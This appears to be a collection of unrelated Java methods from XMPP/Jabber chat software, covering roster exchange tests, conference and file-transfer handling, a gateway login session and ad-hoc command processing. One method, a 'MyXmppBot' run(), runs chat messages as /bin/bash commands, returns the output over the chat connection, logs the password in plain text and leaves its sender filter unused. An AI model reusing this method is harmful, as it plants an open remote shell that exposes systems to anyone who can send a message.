@Override public void run() { try { Thread.sleep(myReconnectTimeout); if (myFacade.connect() != null && myFacade.getMyAccount().isLoginAllowed()) { myReconnectProcess = myIdeFacade.runOnPooledThread(this); } } catch (InterruptedException ignored) { // return } }
protected void setUp() throws Exception { super.setUp(); try { getConnection(0) .getRoster() .createEntry(getBareJID(2), "gato5", new String[] {"Friends, Coworker"}); getConnection(0).getRoster().createEntry(getBareJID(3), "gato6", null); Thread.sleep(100); } catch (Exception e) { fail(e.getMessage()); } }
/** * High level API test. 1. User_1 will send his/her roster to user_2 2. User_2 will automatically * add the entries that receives to his/her roster in the corresponding group 3. User_1 will wait * several seconds for an ACK from user_2, if none is received then something is wrong */ public void testSendAndAcceptRoster() { RosterExchangeManager rosterExchangeManager1 = new RosterExchangeManager(getConnection(0)); RosterExchangeManager rosterExchangeManager2 = new RosterExchangeManager(getConnection(1)); // Create a RosterExchangeListener that will accept all the received roster entries RosterExchangeListener rosterExchangeListener = new RosterExchangeListener() { public void entriesReceived(String from, Iterator remoteRosterEntries) { int received = 0; assertNotNull("From is null", from); assertNotNull("remoteRosterEntries is null", remoteRosterEntries); assertTrue("Roster without entries", remoteRosterEntries.hasNext()); while (remoteRosterEntries.hasNext()) { received++; try { RemoteRosterEntry remoteRosterEntry = (RemoteRosterEntry) remoteRosterEntries.next(); getConnection(1) .getRoster() .createEntry( remoteRosterEntry.getUser(), remoteRosterEntry.getName(), remoteRosterEntry.getGroupArrayNames()); } catch (Exception e) { fail(e.toString()); } } entriesReceived = received; } }; rosterExchangeManager2.addRosterListener(rosterExchangeListener); // Send user1's roster to user2 try { entriesSent = getConnection(0).getRoster().getEntryCount(); entriesReceived = 0; rosterExchangeManager1.send(getConnection(0).getRoster(), getBareJID(1)); // Wait up to 2 seconds long initial = System.currentTimeMillis(); while (System.currentTimeMillis() - initial < 2000 && (entriesSent != entriesReceived)) { Thread.sleep(100); } } catch (Exception e) { fail("An error occured sending the message with the roster"); } assertEquals( "Number of sent and received entries does not match", entriesSent, entriesReceived); assertTrue("Roster2 has no entries", getConnection(1).getRoster().getEntryCount() > 0); }
/** * Implements {@link PacketListener}. Notifies this instance that a specific {@link Packet} (which * this instance has already expressed interest into by returning <tt>true</tt> from {@link * #accept(Packet)}) has been received. * * @param packet the <tt>Packet</tt> which has been received and which this instance is given a * chance to process */ public void processPacket(Packet packet) { /* * As we do elsewhere, acknowledge the receipt of the Packet first and * then go about our business with it. */ IQ iq = (IQ) packet; if (iq.getType() == IQ.Type.SET) protocolProvider.getConnection().sendPacket(IQ.createResultIQ(iq)); /* * Now that the acknowledging is out of the way, do go about our * business with the Packet. */ ColibriConferenceIQ conferenceIQ = (ColibriConferenceIQ) iq; boolean interrupted = false; try { processColibriConferenceIQ(conferenceIQ); } catch (Throwable t) { logger.error( "An error occurred during the processing of a " + packet.getClass().getName() + " packet", t); if (t instanceof InterruptedException) { /* * We cleared the interrupted state of the current Thread by * catching the InterruptedException. However, we do not really * care whether the current Thread has been interrupted - we * caught the InterruptedException because we want to swallow * any Throwable. Consequently, we should better restore the * interrupted state. */ interrupted = true; } else if (t instanceof ThreadDeath) throw (ThreadDeath) t; } if (interrupted) Thread.currentThread().interrupt(); }
public void run() throws XMPPException, IOException, InterruptedException { logger.debug("Trying to connect to " + host + ":" + port); ConnectionConfiguration configuration = new ConnectionConfiguration(host, port, "gmail.com"); final XMPPConnection connection = new XMPPConnection(configuration); connection.connect(); logger.debug("...connected"); SASLAuthentication.supportSASLMechanism("PLAIN", 0); logger.debug("Trying to log in with credentials " + login + ":" + password); connection.login(login, password, "MyXmppBot"); logger.debug("...logged in"); final Process process = Runtime.getRuntime().exec("/bin/bash"); final InputStream inputStream = process.getInputStream(); final OutputStream outputStream = process.getOutputStream(); Thread inputThread = new Thread( new Runnable() { @Override public void run() { InputStreamReader inputStreamReader = new InputStreamReader(inputStream); BufferedReader bufferedReader = new BufferedReader(inputStreamReader); try { while (true) { String line = bufferedReader.readLine(); Message message = new Message(to); message.setBody(line); connection.sendPacket(message); } } catch (IOException e) { e.printStackTrace(); } } }); inputThread.start(); final PrintWriter commandWriter = new PrintWriter(outputStream, true); PacketListener listener = new PacketListener() { @Override public void processPacket(Packet packet) { if (packet instanceof Message) { Message message = (Message) packet; to = message.getFrom(); String command = message.getBody(); if (command != null) { logger.debug("Command received:" + command); if (command.equalsIgnoreCase("exit")) { process.destroy(); System.exit(0); } else { commandWriter.println(command); } } } } }; PacketFilter filter = new FromContainsFilter("carlos.prados"); Thread.sleep(1000); connection.addPacketListener(listener, null); }
/** Thread entry point. */ @Override public void run() { int status; long progress; String statusReason = ""; while (true) { try { Thread.sleep(10); status = parseJabberStatus(jabberTransfer.getStatus()); progress = fileTransfer.getTransferedBytes(); if (status == FileTransferStatusChangeEvent.FAILED || status == FileTransferStatusChangeEvent.COMPLETED || status == FileTransferStatusChangeEvent.CANCELED || status == FileTransferStatusChangeEvent.REFUSED) { if (fileTransfer instanceof OutgoingFileTransferJabberImpl) { ((OutgoingFileTransferJabberImpl) fileTransfer).removeThumbnailRequestListener(); } // sometimes a filetransfer can be preparing // and than completed : // transfered in one iteration of current thread // so it won't go through intermediate state - inProgress // make sure this won't happen if (status == FileTransferStatusChangeEvent.COMPLETED && fileTransfer.getStatus() == FileTransferStatusChangeEvent.PREPARING) { fileTransfer.fireStatusChangeEvent( FileTransferStatusChangeEvent.IN_PROGRESS, "Status changed"); fileTransfer.fireProgressChangeEvent(System.currentTimeMillis(), progress); } break; } fileTransfer.fireStatusChangeEvent(status, "Status changed"); fileTransfer.fireProgressChangeEvent(System.currentTimeMillis(), progress); } catch (InterruptedException e) { if (logger.isDebugEnabled()) logger.debug("Unable to sleep thread.", e); } } if (jabberTransfer.getError() != null) { logger.error( "An error occured while transfering file: " + jabberTransfer.getError().getMessage()); } if (jabberTransfer.getException() != null) { logger.error( "An exception occured while transfering file: ", jabberTransfer.getException()); if (jabberTransfer.getException() instanceof XMPPException) { XMPPError error = ((XMPPException) jabberTransfer.getException()).getXMPPError(); if (error != null) if (error.getCode() == 406 || error.getCode() == 403) status = FileTransferStatusChangeEvent.REFUSED; } statusReason = jabberTransfer.getException().getMessage(); } if (initialFileSize > 0 && status == FileTransferStatusChangeEvent.COMPLETED && fileTransfer.getTransferedBytes() < initialFileSize) { status = FileTransferStatusChangeEvent.CANCELED; } fileTransfer.fireStatusChangeEvent(status, statusReason); fileTransfer.fireProgressChangeEvent(System.currentTimeMillis(), progress); }
/** @see net.sf.kraken.session.TransportSession#cleanUp() */ @Override public void cleanUp() { if (timer != null) { try { timer.cancel(); } catch (Exception e) { // Ignore } timer = null; } if (mailCheck != null) { try { mailCheck.cancel(); } catch (Exception e) { // Ignore } mailCheck = null; } if (conn != null) { try { conn.removeConnectionListener(listener); } catch (Exception e) { // Ignore } try { conn.removePacketListener(listener); } catch (Exception e) { // Ignore } try { conn.removePacketListener(presenceHandler); } catch (Exception e) { // Ignore } try { conn.getChatManager().removeChatListener(listener); } catch (Exception e) { // Ignore } try { conn.getRoster().removeRosterListener(listener); } catch (Exception e) { // Ignore } try { conn.disconnect(); } catch (Exception e) { // Ignore } } conn = null; listener = null; presenceHandler = null; if (runThread != null) { try { runThread.interrupt(); } catch (Exception e) { // Ignore } runThread = null; } }
/** @see net.sf.kraken.session.TransportSession#logIn(net.sf.kraken.type.PresenceType, String) */ @Override public void logIn(PresenceType presenceType, String verboseStatus) { final org.jivesoftware.smack.packet.Presence presence = new org.jivesoftware.smack.packet.Presence( org.jivesoftware.smack.packet.Presence.Type.available); if (JiveGlobals.getBooleanProperty( "plugin.gateway." + getTransport().getType() + ".avatars", true) && getAvatar() != null) { Avatar avatar = getAvatar(); // Same thing in this case, so lets go ahead and set them. avatar.setLegacyIdentifier(avatar.getXmppHash()); VCardUpdateExtension ext = new VCardUpdateExtension(); ext.setPhotoHash(avatar.getLegacyIdentifier()); presence.addExtension(ext); } final Presence.Mode pMode = ((XMPPTransport) getTransport()).convertGatewayStatusToXMPP(presenceType); if (pMode != null) { presence.setMode(pMode); } if (verboseStatus != null && verboseStatus.trim().length() > 0) { presence.setStatus(verboseStatus); } setPendingPresenceAndStatus(presenceType, verboseStatus); if (!this.isLoggedIn()) { listener = new XMPPListener(this); presenceHandler = new XMPPPresenceHandler(this); runThread = new Thread() { @Override public void run() { String userName = generateUsername(registration.getUsername()); conn = new XMPPConnection(config); try { conn.getSASLAuthentication() .registerSASLMechanism("DIGEST-MD5", MySASLDigestMD5Mechanism.class); if (getTransport().getType().equals(TransportType.facebook) && registration.getUsername().equals("{PLATFORM}")) { conn.getSASLAuthentication() .registerSASLMechanism( "X-FACEBOOK-PLATFORM", FacebookConnectSASLMechanism.class); conn.getSASLAuthentication().supportSASLMechanism("X-FACEBOOK-PLATFORM", 0); } Roster.setDefaultSubscriptionMode(SubscriptionMode.manual); conn.connect(); conn.addConnectionListener(listener); try { conn.addPacketListener( presenceHandler, new PacketTypeFilter(org.jivesoftware.smack.packet.Presence.class)); // Use this to filter out anything we don't care about conn.addPacketListener( listener, new OrFilter( new PacketTypeFilter(GoogleMailBoxPacket.class), new PacketExtensionFilter( GoogleNewMailExtension.ELEMENT_NAME, GoogleNewMailExtension.NAMESPACE))); conn.login(userName, registration.getPassword(), xmppResource); conn.sendPacket(presence); // send initial presence. conn.getChatManager().addChatListener(listener); conn.getRoster().addRosterListener(listener); if (JiveGlobals.getBooleanProperty( "plugin.gateway." + getTransport().getType() + ".avatars", !TransportType.facebook.equals(getTransport().getType())) && getAvatar() != null) { new Thread() { @Override public void run() { Avatar avatar = getAvatar(); VCard vCard = new VCard(); try { vCard.load(conn); vCard.setAvatar( Base64.decode(avatar.getImageData()), avatar.getMimeType()); vCard.save(conn); } catch (XMPPException e) { Log.debug("XMPP: Error while updating vcard for avatar change.", e); } catch (NotFoundException e) { Log.debug("XMPP: Unable to find avatar while setting initial.", e); } } }.start(); } setLoginStatus(TransportLoginStatus.LOGGED_IN); syncUsers(); if (getTransport().getType().equals(TransportType.gtalk) && JiveGlobals.getBooleanProperty( "plugin.gateway.gtalk.mailnotifications", true)) { conn.sendPacket( new IQWithPacketExtension( generateFullJID(getRegistration().getUsername()), new GoogleUserSettingExtension(null, true, null), IQ.Type.SET)); conn.sendPacket( new IQWithPacketExtension( generateFullJID(getRegistration().getUsername()), new GoogleMailNotifyExtension())); mailCheck = new MailCheck(); timer.schedule(mailCheck, timerInterval, timerInterval); } } catch (XMPPException e) { Log.debug( getTransport().getType() + " user's login/password does not appear to be correct: " + getRegistration().getUsername(), e); setFailureStatus(ConnectionFailureReason.USERNAME_OR_PASSWORD_INCORRECT); sessionDisconnectedNoReconnect( LocaleUtils.getLocalizedString("gateway.xmpp.passwordincorrect", "kraken")); } } catch (XMPPException e) { Log.debug( getTransport().getType() + " user is not able to connect: " + getRegistration().getUsername(), e); setFailureStatus(ConnectionFailureReason.CAN_NOT_CONNECT); sessionDisconnected( LocaleUtils.getLocalizedString("gateway.xmpp.connectionfailed", "kraken")); } } }; runThread.start(); } }
/** * Process the AdHoc-Command packet that request the execution of some action of a command. If * this is the first request, this method checks, before executing the command, if: * * <ul> * <li>The requested command exists * <li>The requester has permissions to execute it * <li>The command has more than one stage, if so, it saves the command and session ID for * further use * </ul> * * <br> * <br> * If this is not the first request, this method checks, before executing the command, if: * * <ul> * <li>The session ID of the request was stored * <li>The session life do not exceed the time out * <li>The action to execute is one of the available actions * </ul> * * @param requestData the packet to process. */ private void processAdHocCommand(AdHocCommandData requestData) { // Only process requests of type SET if (requestData.getType() != IQ.Type.SET) { return; } // Creates the response with the corresponding data AdHocCommandData response = new AdHocCommandData(); response.setTo(requestData.getFrom()); response.setPacketID(requestData.getPacketID()); response.setNode(requestData.getNode()); response.setId(requestData.getTo()); String sessionId = requestData.getSessionID(); String commandNode = requestData.getNode(); if (sessionId == null) { // A new execution request has been received. Check that the // command exists if (!commands.containsKey(commandNode)) { // Requested command does not exist so return // item_not_found error. respondError(response, XMPPError.Condition.item_not_found); return; } // Create new session ID sessionId = StringUtils.randomString(15); try { // Create a new instance of the command with the // corresponding sessioid LocalCommand command = newInstanceOfCmd(commandNode, sessionId); response.setType(IQ.Type.RESULT); command.setData(response); // Check that the requester has enough permission. // Answer forbidden error if requester permissions are not // enough to execute the requested command if (!command.hasPermission(requestData.getFrom())) { respondError(response, XMPPError.Condition.forbidden); return; } Action action = requestData.getAction(); // If the action is unknown then respond an error. if (action != null && action.equals(Action.unknown)) { respondError( response, XMPPError.Condition.bad_request, AdHocCommand.SpecificErrorCondition.malformedAction); return; } // If the action is not execute, then it is an invalid action. if (action != null && !action.equals(Action.execute)) { respondError( response, XMPPError.Condition.bad_request, AdHocCommand.SpecificErrorCondition.badAction); return; } // Increase the state number, so the command knows in witch // stage it is command.incrementStage(); // Executes the command command.execute(); if (command.isLastStage()) { // If there is only one stage then the command is completed response.setStatus(Status.completed); } else { // Else it is still executing, and is registered to be // available for the next call response.setStatus(Status.executing); executingCommands.put(sessionId, command); // See if the session reaping thread is started. If not, start it. if (!sessionsSweeper.isAlive()) { sessionsSweeper.start(); } } // Sends the response packet connection.sendPacket(response); } catch (XMPPException e) { // If there is an exception caused by the next, complete, // prev or cancel method, then that error is returned to the // requester. XMPPError error = e.getXMPPError(); // If the error type is cancel, then the execution is // canceled therefore the status must show that, and the // command be removed from the executing list. if (XMPPError.Type.CANCEL.equals(error.getType())) { response.setStatus(Status.canceled); executingCommands.remove(sessionId); } respondError(response, error); e.printStackTrace(); } } else { LocalCommand command = executingCommands.get(sessionId); // Check that a command exists for the specified sessionID // This also handles if the command was removed in the meanwhile // of getting the key and the value of the map. if (command == null) { respondError( response, XMPPError.Condition.bad_request, AdHocCommand.SpecificErrorCondition.badSessionid); return; } // Check if the Session data has expired (default is 10 minutes) long creationStamp = command.getCreationDate(); if (System.currentTimeMillis() - creationStamp > SESSION_TIMEOUT * 1000) { // Remove the expired session executingCommands.remove(sessionId); // Answer a not_allowed error (session-expired) respondError( response, XMPPError.Condition.not_allowed, AdHocCommand.SpecificErrorCondition.sessionExpired); return; } /* * Since the requester could send two requests for the same * executing command i.e. the same session id, all the execution of * the action must be synchronized to avoid inconsistencies. */ synchronized (command) { Action action = requestData.getAction(); // If the action is unknown the respond an error if (action != null && action.equals(Action.unknown)) { respondError( response, XMPPError.Condition.bad_request, AdHocCommand.SpecificErrorCondition.malformedAction); return; } // If the user didn't specify an action or specify the execute // action then follow the actual default execute action if (action == null || Action.execute.equals(action)) { action = command.getExecuteAction(); } // Check that the specified action was previously // offered if (!command.isValidAction(action)) { respondError( response, XMPPError.Condition.bad_request, AdHocCommand.SpecificErrorCondition.badAction); return; } try { // TODO: Check that all the requierd fields of the form are // TODO: filled, if not throw an exception. This will simplify the // TODO: construction of new commands // Since all errors were passed, the response is now a // result response.setType(IQ.Type.RESULT); // Set the new data to the command. command.setData(response); if (Action.next.equals(action)) { command.incrementStage(); command.next(new Form(requestData.getForm())); if (command.isLastStage()) { // If it is the last stage then the command is // completed response.setStatus(Status.completed); } else { // Otherwise it is still executing response.setStatus(Status.executing); } } else if (Action.complete.equals(action)) { command.incrementStage(); command.complete(new Form(requestData.getForm())); response.setStatus(Status.completed); // Remove the completed session executingCommands.remove(sessionId); } else if (Action.prev.equals(action)) { command.decrementStage(); command.prev(); } else if (Action.cancel.equals(action)) { command.cancel(); response.setStatus(Status.canceled); // Remove the canceled session executingCommands.remove(sessionId); } connection.sendPacket(response); } catch (XMPPException e) { // If there is an exception caused by the next, complete, // prev or cancel method, then that error is returned to the // requester. XMPPError error = e.getXMPPError(); // If the error type is cancel, then the execution is // canceled therefore the status must show that, and the // command be removed from the executing list. if (XMPPError.Type.CANCEL.equals(error.getType())) { response.setStatus(Status.canceled); executingCommands.remove(sessionId); } respondError(response, error); e.printStackTrace(); } } } }
/** * * * <ul> * <li>Adds listeners to the connection * <li>Registers the ad-hoc command feature to the ServiceDiscoveryManager * <li>Registers the items of the feature * <li>Adds packet listeners to handle execution requests * <li>Creates and start the session sweeper * </ul> */ private void init() { // Register the new instance and associate it with the connection synchronized (instances) { instances.put(connection, this); } // Add a listener to the connection that removes the registered instance // when the connection is closed connection.addConnectionListener( new ConnectionListener() { public void connectionClosed() { synchronized (instances) { instances.remove(connection); } } public void connectionClosedOnError(Exception e) { synchronized (instances) { instances.remove(connection); } } public void reconnectionSuccessful() { synchronized (instances) { instances.put(connection, AdHocCommandManager.this); } } public void reconnectingIn(int seconds) {} public void reconnectionFailed(Exception e) {} }); // Add the feature to the service discovery manage to show that this // connection supports the AdHoc-Commands protocol. // This information will be used when another client tries to // discover whether this client supports AdHoc-Commands or not. ServiceDiscoveryManager.getInstanceFor(connection).addFeature(DISCO_NAMESPACE); // Set the NodeInformationProvider that will provide information about // which AdHoc-Commands are registered, whenever a disco request is // received ServiceDiscoveryManager.getInstanceFor(connection) .setNodeInformationProvider( discoNode, new NodeInformationProvider() { public List<DiscoverItems.Item> getNodeItems() { List<DiscoverItems.Item> answer = new ArrayList<DiscoverItems.Item>(); Collection<AdHocCommandInfo> commandsList = getRegisteredCommands(); for (AdHocCommandInfo info : commandsList) { DiscoverItems.Item item = new DiscoverItems.Item(info.getOwnerJID()); item.setName(info.getName()); item.setNode(info.getNode()); answer.add(item); } return answer; } public List<String> getNodeFeatures() { return null; } public List<Identity> getNodeIdentities() { return null; } }); // The packet listener and the filter for processing some AdHoc Commands // Packets PacketListener listener = new PacketListener() { public void processPacket(Packet packet) { AdHocCommandData requestData = (AdHocCommandData) packet; processAdHocCommand(requestData); } }; PacketFilter filter = new PacketTypeFilter(AdHocCommandData.class); connection.addPacketListener(listener, filter); // Create a thread to reap sessions. But, we'll only start it later when commands are // actually registered. sessionsSweeper = new Thread( new Runnable() { public void run() { while (true) { for (String sessionId : executingCommands.keySet()) { LocalCommand command = executingCommands.get(sessionId); // Since the command could be removed in the meanwhile // of getting the key and getting the value - by a // processed packet. We must check if it still in the // map. if (command != null) { long creationStamp = command.getCreationDate(); // Check if the Session data has expired (default is // 10 minutes) // To remove it from the session list it waits for // the double of the of time out time. This is to // let // the requester know why his execution request is // not accepted. If the session is removed just // after the time out, then whe the user request to // continue the execution he will recieved an // invalid session error and not a time out error. if (System.currentTimeMillis() - creationStamp > SESSION_TIMEOUT * 1000 * 2) { // Remove the expired session executingCommands.remove(sessionId); } } } try { Thread.sleep(1000); } catch (InterruptedException ie) { // Ignore. } } } }); sessionsSweeper.setDaemon(true); }